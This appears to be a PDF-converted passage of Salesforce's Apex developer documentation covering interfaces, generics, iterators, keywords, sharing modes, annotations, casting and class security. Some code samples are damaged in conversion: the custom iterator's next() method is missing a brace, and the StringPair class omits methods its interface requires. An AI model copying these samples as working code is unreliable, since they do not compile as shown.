Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on the property itself. For example, if the property has been defined as `public`, the individual accessor cannot be defined as `global`. The following class definition shows additional examples:

```java
global virtual class PropertyVisibility {
    // X is private for read and public for write
    public integer X { private get; set; }
    // Y can be globally read but only written within a class
    global integer Y { get; public set; }
    // Z can be read within the class but only subclasses can set it
    public integer Z { get; protected set; }
}
```
Interfaces and Extending Classes

An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface.

Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration for that method. This way you can have different implementations of a method based on your specific application.

Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to provide a discount. The amount of the discount can depend on the type of purchase order.

You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees. In the following example the focus is only on the discount aspect of a purchase order.

```java
public class PurchaseOrders {
    // An interface that defines what a purchase order looks like in general
    public interface PurchaseOrder {
        // All other functionality excluded
        Double discount();
    }

    // One implementation of the interface for customers
    public virtual class CustomerPurchaseOrder implements PurchaseOrder {
        public virtual Double discount() {
            return .05; // Flat 5% discount
        }
    }

    // Employee purchase order extends Customer purchase order, but with a
    // different discount
    public class EmployeePurchaseOrder extends CustomerPurchaseOrder {
        public override Double discount() {
            return .10; // It’s worth it being an employee! 10% discount
        }
    }
}
```

Note the following about the above example:

- The interface `PurchaseOrder` is defined as a general prototype. Methods defined within an interface have no access modifiers and contain just their signature.
- The `CustomerPurchaseOrder` class implements this interface; therefore, it must provide a definition for the `discount` method. As with Java, any class that implements an interface must define all of the methods contained in the interface.
- The employee version of the purchase order extends the customer version. A class extends another class using the keyword `extends`. A class can only extend one other class, but it can implement more than one interface.

When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that implements the interface, or a sub-interface data type.

An interface can extend another interface. As with classes, when an interface extends another interface, all the methods and properties of the extended interface are available to the extending interface.

See also Classes and Casting on page 117.
Parameterized Typing and Interfaces

Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that variable can be used. For example, the following is legal in Apex:

```
Integer x = 1;
```

The following is not legal if `x` has not been defined earlier:

```
x = 1;
```

Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be replaced with an actual data type upon construction of the list, map or set. For example:

```
List<String> myList = new List<String>();
```

Parameterized typing allows interfaces to be implemented with generic data type parameters that are replaced with actual data types upon construction.

The following gives an example of how the syntax of a parameterized interface works. In this example, the interface `Pair` has two type variables, `T` and `U`. A type variable can be used like a regular type in the body of the interface.

```
public virtual interface Pair<T, U> {
    T getFirst();
    U getSecond();
    void setFirst(T val);
    void setSecond(U val);
    Pair<U, T> swap();
}
```

The following interface `DoubleUp` extends the `Pair` interface. It uses the type variable `T`:

```
public interface DoubleUp<T> extends Pair<T, T> {}
```

**Tip:** Notice that `Pair` must be defined as virtual for it to be extended by `DoubleUp`.

Implementing Parameterized Interfaces

A class that implements a parameterized interface must pass data types in as arguments to the interface's type parameters.

```
public class StringPair implements DoubleUp<String> {
    private String s1;
    private String s2;

    public StringPair(String s1, String s2) {
        this.s1 = s1;
        this.s2 = s2;
    }

    public String getFirst() { return this.s1; }
    public String getSecond() { return this.s2; }
    public void setFirst(String val) { this.s1 = val; }
}
```
Type variables can never appear outside an interface declaration, such as in a class. However, fully instantiated types, such as `Pair<String, String>` are allowed anywhere in Apex that any other data type can appear. For example, the following are legal in Apex:

```java
Pair<String, String> y = x.swap();
DoubleUp<String> z = (DoubleUp<String>) y;
```

In this example, when the compiler compiles the class `StringPair`, it must check that the class implements all of the methods in `DoubleUp<String>` and in `Pair<String, String>`. So the compiler substitutes `String` for `T` and `String` for `U` inside the body of interface `Pair<T, U>`.

```java
DoubleUp<String> x = new StringPair('foo', 'bar');
```

This means that the following method prototypes must implement in `StringPair` for the class to successfully compile:

```java
String getFirst();
String getSecond();
void setFirst(String val);
void setSecond(String val);
Pair<String, String> swap();
```

### Overloading Methods

In this example, the following interface is used:

```java
public interface Overloaded<T> {
    void foo(T x);
    void foo(String x);
}
```

The interface `Overloaded` is legal in Apex: you can overload a method by defining two or more methods with the same name but different parameters. However, you cannot have any ambiguity when invoking an overloaded method.

The following class successfully implements the `Overloaded` interface because it simultaneously implements both method prototypes specified in the interface:

```java
public class MyClass implements Overloaded<String> {
    public void foo(String x) {}
}
```

The following executes successfully because `m` is typed as `MyClass`, therefore `MyClass.foo` is the unique, matching method.

```java
MyClass m = new MyClass();
m.foo('bar');
```

The following does not execute successfully because `o` is typed as `Overloaded<String>`, and so there are two matching methods for `o.foo()`, neither of which typed to a specific method. The compiler cannot distinguish which of the two matching methods should be used.

```java
Overloaded<String> o = m;
o.foo('bar');
```
Subtyping with Parameterized Lists

In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:

```java
List<String> slst = new List<String> {'foo', 'bar'};
List<Object> olst = slst;
```

However, you cannot use this in interfaces with parameterized types, such as for List, Map or Set. The following is not legal:

```java
public interface I<T> {}
I<String> x = ...;
I<Object> y = x; // Compile error: Illegal assignment from I<String> to I<Object>
```

Custom Iterators

An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented by 1 every time the loop is executed (count++):

```java
while (count < 11) {
    System.debug(count);
    count++;
}
```

Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also be used if you have multiple SELECT statements.

Using Custom Iterators

To use custom iterators, you must create an Apex class that implements the Iterator interface.

The Iterator interface has the following instance methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasNext</td>
<td>Boolean</td>
<td></td>
<td>Returns true if there is another item in the collection being traversed, false otherwise.</td>
</tr>
<tr>
<td>next</td>
<td>Any type</td>
<td></td>
<td>Returns the next item in the collection.</td>
</tr>
</tbody>
</table>

All methods in the Iterator interface must be declared as global.

You can only use a custom iterator in a while loop. For example:

```java
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
    System.debug(x.next());
}
```

Iterators are not currently supported in for loops.
Using Custom Iterators with \texttt{Iterable}

If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the \texttt{Iterable} interface to generate the data structure.

The \texttt{Iterable} interface has the following method:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>iterator</td>
<td></td>
<td>Iterator class</td>
<td>Returns a reference to the iterator for this interface.</td>
</tr>
</tbody>
</table>

The \texttt{iterator} method must be declared as \texttt{global}. It creates a reference to the iterator that you can then use to traverse the data structure.

In the following example a custom iterator iterates through a collection:

```java
global class CustomIterable implements Iterator<Account>{
    List<Account> accs {get; set;}
    Integer i {get; set;}
    public CustomIterable(){
        accs = [SELECT id, name, numberofEmployees FROM Account WHERE name = 'false'];
        i = 0;
    }
    global boolean hasNext(){
        if(i >= accs.size())
            return false;
        else
            return true;
    }
    global Account next(){
        if(i == 8){ i++; return null;
        i=i+1;
        return accs[i-1];
    }
}
```

The following calls the above code:

```java
global class foo implements iterable<Account>{
    global Iterator<Account> Iterator(){
        return new CustomIterable();
    }
}
```

The following is a batch job that uses an iterator:

```java
global class batchClass implements Database.batchable<Account>{
    global Iterable<Account> start(Database.batchableContext info){
        return new foo();
    }
    global void execute(Database.batchableContext info, List<Account> scope){
        List<Account> accsToUpdate = new List<Account>();
        for(Account a : scope){
            a.name = 'true';
            a.numberofEmployees = 69;
            accsToUpdate.add(a);
        }
        update accsToUpdate;
    }
    global void finish(Database.batchableContext info){
    }
}
```
Keywords

Apex has the following keywords available:

- `final`
- `instanceof`
- `super`
- `this`
- `transient`
- `with sharing and without sharing`

Using the `final` Keyword

You can use the `final` keyword to modify variables.

- Final variables can only be assigned a value once, either when you declare a variable or in initialization code. You must assign a value to it in one of these two places.
- Static final variables can be changed in static initialization code or where defined.
- Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
- To define a constant, mark a variable as both `static` and `final` (see Constants on page 41).
- Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not shared across requests.
- Methods and classes are final by default. You cannot use the `final` keyword in the declaration of a class or method. This means they cannot be overridden. Use the `virtual` keyword if you need to override a method or class.

Using the `instanceof` Keyword

If you need to verify at runtime whether an object is actually an instance of a particular class, use the `instanceof` keyword. The `instanceof` keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative for the declared type of the expression on the left.

You could add the following check to the `Report` class in the classes and casting example before you cast the item back into a `CustomReport` object.

```java
If (Reports.get(0) instanceof CustomReport) {
    // Can safely cast it back to a custom report object
    CustomReport c = (CustomReport) Reports.get(0);
} Else {
    // Do something with the non-custom-report.
}
```

Using the `super` Keyword

The `super` keyword can be used by classes that are extended from virtual or abstract classes. By using `super`, you can override constructors and methods from the parent class.

For example, if you have the following virtual class:

```java
public virtual class SuperClass {
    public String mySalutation;
    public String myFirstName;
    public String myLastName;
}
```
public SuperClass() {
    mySalutation = 'Mr.';
    myFirstName = 'Carl';
    myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
    mySalutation = salutation;
    myFirstName = firstName;
    myLastName = lastName;
}
public virtual void printName() {
    System.debug('My name is ' + mySalutation + myLastName);
}

public virtual String getFirstName() {
    return myFirstName;
}
}

You can create the following class that extends Superclass and overrides its printName method:

public class Subclass extends Superclass {
    public override void printName() {
        super.printName();
        System.debug('But you can call me ' + super.getFirstName());
    }
}

The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call me Carl.

You can also use super to call constructors. Add the following constructor to SubClass:

public Subclass() {
    super('Madam', 'Brenda', 'Clapentrap');
}

Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call me Brenda.

**Best Practices for Using the super Keyword**

- Only classes that are extending from virtual or abstract classes can use super.
- You can only use super in methods that are designated with the override keyword.

**Using the this Keyword**

There are two different ways of using the this keyword.
You can use the `this` keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears. Use this form of the `this` keyword to access instance variables and methods. For example:

```java
public class myTestThis {
    string s;
    {
        this.s = 'TestString';
    }
}
```

In the above example, the class `testThis` declares an instance variable `s`. The initialization code populates the variable using the `this` keyword.

Or you can use the `this` keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use the `this` keyword with parentheses. For example:

```java
public class testThis {
    // First constructor for the class. It requires a string parameter.
    public testThis(string s2) {
    }

    // Second constructor for the class. It does not require a parameter.
    // This constructor calls the first constructor using the this keyword.
    public testThis() {
        this('None');
    }
}
```

When you use the `this` keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

**Using the transient Keyword**

Use the `transient` keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state for a Visualforce page. For example:

```java
Transient Integer currentTotal;
```

You can also use the `transient` keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the `Batchable` or `Schedulable` interface. In addition, you can use `transient` in classes that define the types of fields declared in the serializable classes.

Declaring variables as `transient` reduces view state size. A common use case for the `transient` keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request.

Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following:

- PageReferences
- XmlStream Classes
- Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints
- Most of the objects generated by system methods, such as `Schema.getGlobalDescribe`

Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same.

```
<apex:page controller="ExampleController">
  T1: {!t1} <br/>
  T2: {!t2} <br/>
  <apex:form>
    <apex:commandLink value="refresh"/>
  </apex:form>
</apex:page>
```

```java
public class ExampleController {
  DateTime t1;
  transient DateTime t2;

  public String getT1() {
    if (t1 == null) t1 = System.now();
    return '' + t1;
  }

  public String getT2() {
    if (t2 == null) t2 = System.now();
    return '' + t2;
  }
}
```

**Using the with sharing or without sharing Keywords**

Apex generally runs in system context; that is, the current user’s profile-based permissions, field-level security, and sharing rules are not taken into account during code execution.

*Note:* The only exceptions to this rule are Apex scripts that are executed with the executeAnonymous call. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 85.

Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. They should be particularly careful with Web services, which can be restricted by profile, but execute in system context once they are initiated.

Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that apply to the current user. (For more information on sharing rules, see the Salesforce.com online help.)

*Note:* A user’s profile-based permissions and field-level security are always ignored to ensure that Apex scripts can view all fields and objects in an organization. If particular fields or objects are hidden for a user, the script would fail to compile at runtime.

Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:

```java
public with sharing class sharingClass {
  // Code here
}
```
Use the `without sharing` keywords when declaring a class to ensure that the sharing rules for the current user are **not** enforced. For example:

```java
public without sharing class noSharing {
    // Code here
}
```

If a class is not declared as either with or without sharing, the current sharing rules remain in effect. This means that if the class is called by a class that has sharing enforced, then sharing is enforced for the called class.

Both inner classes and outer classes can be declared as `with sharing`. The sharing setting applies to all code contained in the class, including initialization code, constructors, and methods. Classes inherit this setting from a parent class when one class extends or implements another, but inner classes do **not** inherit the sharing setting from their container class.

For example:

```java
public with sharing class CWith {
    // All code in this class operates with enforced sharing rules.
    Account a = [select . . . ];
    public static void m() { . . . }
    static {
        . . .
    }
    { . . .
    }
    public c() {
        . . .
    }
}
```

```java
public without sharing class CWithout {
    // All code in this class ignores sharing rules and operates
    // as if the context user has the Modify All Data permission.
    Account a = [select . . . ];
    . . .
    public static void m() {
        . . .
        // This call into CWith operates with enforced sharing rules
        // for the context user. When the call finishes, the code execution
        // returns to without sharing mode.
        CWith.m();
    }
}
```

```java
public class CInner {
    // All code in this class executes with the same sharing context
    // as the code that calls it.
    // Inner classes are separate from outer classes.
    . . .
    // Again, this call into CWith operates with enforced sharing rules
    // for the context user, regardless of the class that initially called this inner class.
    // When the call finishes, the code execution returns to the sharing mode that was used
to call this inner class.
}
Caution: There is no guarantee that a class declared as with sharing does not call a script that operates as without sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.

Enforcing the current user’s sharing rules can impact:

- SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
- DML operations. An operation may fail because the current user does not have the correct permissions. For example, if the user specifies a foreign key value that exists in the organization, but which the current user does not have access to.

Annotations

An Apex annotation modifies the way a method or class is used, similar to annotations in Java.

Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it immediately before the method or class definition. For example:

```apex
global class MyClass {
    @future
    public static void myMethod(String a) {
        // long-running Apex code
    }
}
```

Apex supports the following annotations:

- Deprecated
- Future
- IsTest
- ReadOnly
- RemoteAction

Deprecated Annotation

Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function for existing subscribers and API integrations.

The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces, or variables.

```apex
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
```
Note the following rules when deprecating Apex identifiers:

- Unmanaged packages cannot contain code that uses the `deprecated` keyword.
- When something in Apex, or when a custom object is deprecated, all `global` access modifiers that reference the deprecated identifier must also be deprecated. Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
- `webService` methods and variables cannot be deprecated.
- You can deprecate an `enum` but you cannot deprecate individual `enum` values.
- You can deprecate an interface but you cannot deprecate individual methods in an interface.
- You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
- You cannot remove the `deprecated` annotation to undeprecate something in Apex after you have released a package version where that item in Apex is deprecated.

For more information about package versions, see Developing Apex in Managed Packages on page 193.

**Future Annotation**

Use the `future` annotation to identify methods that are executed asynchronously. When you specify `future`, the method executes when Salesforce has available resources.

For example, you can use the `future` annotation when making an asynchronous Web service callout to an external service. Without the annotation, the Web service callout is made from the same thread that is executing the Apex script, and no additional processing can occur until the callout is complete (synchronous processing).

Methods with the `future` annotation must be static methods, and can only return a `void` type.

To make a method in a class execute asynchronously, define the method with the `future` annotation. For example:

```java
public void myMethod(String a) {
    System.debug('Method called with: ' + a);
    //do callout, other long running code
}
```

The following snippet shows how to specify that a method executes a callout:

```java
@future (callout=true)
public void doCalloutFromFuture() {
    //Add code to perform callout
}
```

You can specify `(callout=false)` to prevent a method from making callouts.

To test methods defined with the `future` annotation, call the class containing the method in a `startTest,stopTest` code block. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously.

Methods with the `future` annotation have the following limits:

- No more than 10 method calls per Apex invocation
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs.

- Salesforce also imposes a limit on the number of future annotations: 200 method calls per full Salesforce user license per 24 hours. This is an organization-wide limit. For example, suppose your organization has five full Salesforce user licenses and 100 Customer Portal User licenses. Your entire organization is limited to only 1,000 method calls every 24 hours (5 * 200, not 105.)
- The parameters specified must be primitive datatypes, arrays of primitive datatypes, or collections of primitive datatypes.
- Methods with the future annotation cannot take sObjects or objects as arguments.
- Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName methods, nor in the constructor.

Remember that any method using the future annotation requires special consideration, because the method does not necessarily execute in the same order it is called.

You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger from an annotated method that calls another annotated method.

The getContent and getContentAsPDF PageReference methods cannot be used in methods with the future annotation.

For more information about callouts, see Invoking Callouts Using Apex on page 203.

See Also:
Understanding Execution Governors and Limits

IsTest Annotation

Use the isTest annotation to define classes or individual methods that only contain code used for testing your application. The isTest annotation is similar to creating methods declared as testMethod.

Note: Classes defined with the isTest annotation do not count against your organization limit of 2 MB for all Apex scripts. Individual methods defined with the isTest annotation do count against your organization limits. For more information, see Understanding Execution Governors and Limits on page 188.

Classes and methods defined as isTest must be declared as private. For example:

```apex
@isTest
class MyTest {
    // Methods for testing
}
```

Classes defined as isTest cannot be interfaces or enums.

A class defined as isTest can only be invoked using the Force.com runTests() API call, or from the Salesforce user interface (using the Run Tests button). You cannot call it from another class or trigger.

ReadOnly Annotation

Note: The @ReadOnly annotation is part of a pilot program. To enable the @ReadOnly annotation for your organization, contact salesforce.com.
The @ReadOnly annotation provides developers the ability to perform unrestricted queries against the Force.com database. It is important to note this annotation, while removing the limit of the number of returned rows for a request, blocks the developer from performing any DML within the request.

All other limits still apply.

The @ReadOnly annotation is only available for Web services and the Schedulable interface. To use the @ReadOnly annotation, the top level request must be in the schedule execution or the webservice invocation.

To use the @ReadOnly annotation, the top level request must be the schedule execution or a webservice invocation. For example, if a Visualforce page calls a webservice that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the webservice.

**RemoteAction Annotation**

Note: The @RemoteAction annotation is currently available as a Developer Preview. You must contact Salesforce.com Support to enable this feature.

The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via Javascript. This process is often referred to as Javascript remoting.

Note: Methods with the RemoteAction annotation must be global and static methods.

To use Javascript remoting, your request must take the following form:

```javascript
[[namespace]].<controller>..<method>([params...], <callbackFunction>(result, event)
{
  // callback function logic
}, {escape:true});
```

where

- **namespace** is your organization’s namespace. This is only required if the class comes from an installed packaged.
- **controller** is the name of your Apex controller
- **method** is the name of the Apex method you’re calling
- **params** is the comma-separated list of parameters that your method takes
- **callbackFunction** is the name of the function that handles the response from the controller. It returns the status of the call and the method result.
- **escape** defines whether your response should be escaped (by default, true) or not (false)

In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:

```apex
@RemoteAction
global static String getItemId(String objectName) { ... }
```

Your Apex method must be both global and static. Overloading is not permitted; in other words, your remoted method can’t have the same number of parameters as other methods with the same name. For instance, with the method above, you can’t also have a getItemId(Integer objectNumber) method.

Your method can only take Apex primitives as arguments. However, it can return Apex primitives and sObjects.

For more information, see Javascript Remoting for Apex Controllers in the Visualforce Developer’s Guide.
In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object from one data type to another.

In the following example, `CustomReport` extends the class `Report`. Therefore, it is a child of that class. This means that you can use casting to assign objects with the parent data type (`Report`) to the objects of the child data type (`CustomReport`).

In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned as a report object, then is cast back into a custom report object.

```java
Public virtual class Report {
    // Create a list of report objects
    Report[] Reports = new Report[5];

    // Create a custom report object
    CustomReport a = new CustomReport();

    // Because the custom report is a sub class of the Report class,
    // you can add the custom report object a to the list of report objects
    Reports.add(a);

    // The following is not legal, because the compiler does not know that what you are
    // returning is a custom report. You must use cast to tell it that you know what
    // type you are returning
    // CustomReport c = Reports.get(0);

    // Instead, get the first item in the list by casting it back to a custom report object
    CustomReport c = (CustomReport) Reports.get(0);
}
```
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.

Tip: To verify if a class is a specific type of class, use the `instanceOf` keyword. For more information, see Using the `instanceof` Keyword on page 108.

**Classes and Collections**

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for example, that you can use a user-defined data type only for the value of a map, not for the key. Likewise, you cannot create a set of user-defined objects.

If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an interface `i1`, and `MyC` implements `i1`, then `MyC` can be placed in the list.

**Collection Casting**

Because collections in Apex have a declared type at runtime, Apex allows collection casting.

Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of `CustomerPurchaseOrder` objects can be assigned to a list of `PurchaseOrder` objects if class `CustomerPurchaseOrder` is a child of class `PurchaseOrder`.
Public class CustomerPurchaseOrder extends PurchaseOrder {
    List<PurchaseOrder> POs = new PurchaseOrder[] {}; 
    List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[] {}; 
    POs = CPOs; 
}

Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of PurchaseOrder objects contains only CustomerPurchaseOrder objects.

If the user of a PurchaseOrder list that only includes CustomerPurchaseOrder objects tries to insert a non-CustomerPurchaseOrder subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections have a declared type at runtime.

Note: Maps behave in the same way as lists with regards to the value side of the Map—if the value side of map A can be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes

The following is a list of the major differences between Apex classes and Java classes:

- Inner classes and interfaces can only be declared one level deep inside an outer class.
- Static methods and variables can only be declared in a top-level class definition, not in an inner class.
- Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword).
- The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private.
- Specifying no access modifier for a method or variable and the private access modifier are synonymous.
- The public access modifier means the method or variable can be used by any Apex in this application or namespace.
- The global access modifier means the method or variable can be used by any Apex script that has access to the class, not just the Apex scripts in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the Web services API or by other Apex scripts. If you declare a method or variable as global, you must also declare the class that contains it as global.

- Methods and classes are final by default.
  - The virtual definition modifier allows extension and overrides.
  - The override keyword must be used explicitly on methods that override base class methods.

- Interface methods have no modifiers—they are always global.

- Exception classes must extend either exception or another user-defined exception.
  - Their names must end with the word exception.
  - Exception classes have four implicit constructors that are built-in, although you can add others.

For more information, see Exception Class on page 342.

- Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
Class Definition Creation

To create a class in Salesforce:

1. In the application, click Your Name ➤ Setup ➤ Develop ➤ Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the Body text box, enter the Apex for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class.

Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from a WSDL Document on page 204.

Once saved, classes can be invoked through class methods or variables by other Apex, such as a trigger.

Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.

The Apex Class Editor

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality:

Syntax highlighting

The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search ()

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next.

• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an `<H1>` tag with an `<H2>` tag and keep all the attributes on the original `<H1>` intact, search for `<H1\s+\s+.*>` and replace it with `<H2$1$2>`.

Go to line (➡)
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.

Undo (➡) and Redo (➡)
Use undo to reverse an editing action and redo to recreate an editing action that was undone.

Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.

Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line (➡) to quickly navigate through the editor.

Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Naming Conventions
Salesforce.com recommends following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and variable names should be meaningful.

It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.

Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the standard Java form:

```java
Public class Shadow {
    String s;
    Shadow(String s) { this.s = s; } // Same name ok
    setS(String s) { this.s = s; } // Same name ok
}
```

Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference to P first.

Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside that top-level class file) or prefixed with the class name. For example:

```java
public class p1 {
    public static final Integer CLASS_INT = 1;
    public class c {};
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
}
```

---

**Class Security**

You can specify which users can execute methods in a particular top-level class based on their user profile. Note that you can only set security on Apex classes, not on triggers.

To set Apex class security from the class list page:

1. Click *Your Name ➤ Setup ➤ Develop ➤ Apex Classes.*
2. Next to the name of the class that you want to restrict, click *Security.*
3. Select the profiles that you want to enable from the Available Profiles list and click *Add.*
4. Select the profiles that you want to disable from the Enabled Profiles list and click *Remove.*
5. Click *Save.*

To set Apex class security from the profile detail page:

1. Click *Your Name ➤ Setup ➤ Manage Users ➤ Profiles.*
2. Click the name of the profile you want to modify.
3. Scroll to the Enabled Apex Class Access related list and click *Edit.*
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click *Add.*
5. Select the Apex classes that you want to disable from the Enabled Apex Classes list and click *Remove.*
6. Click *Save.*

---

**Namespace Prefix**

The application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the developer’s managed packages take on the following long format:

```
namespace_prefix__obj_or_field_name__c
```

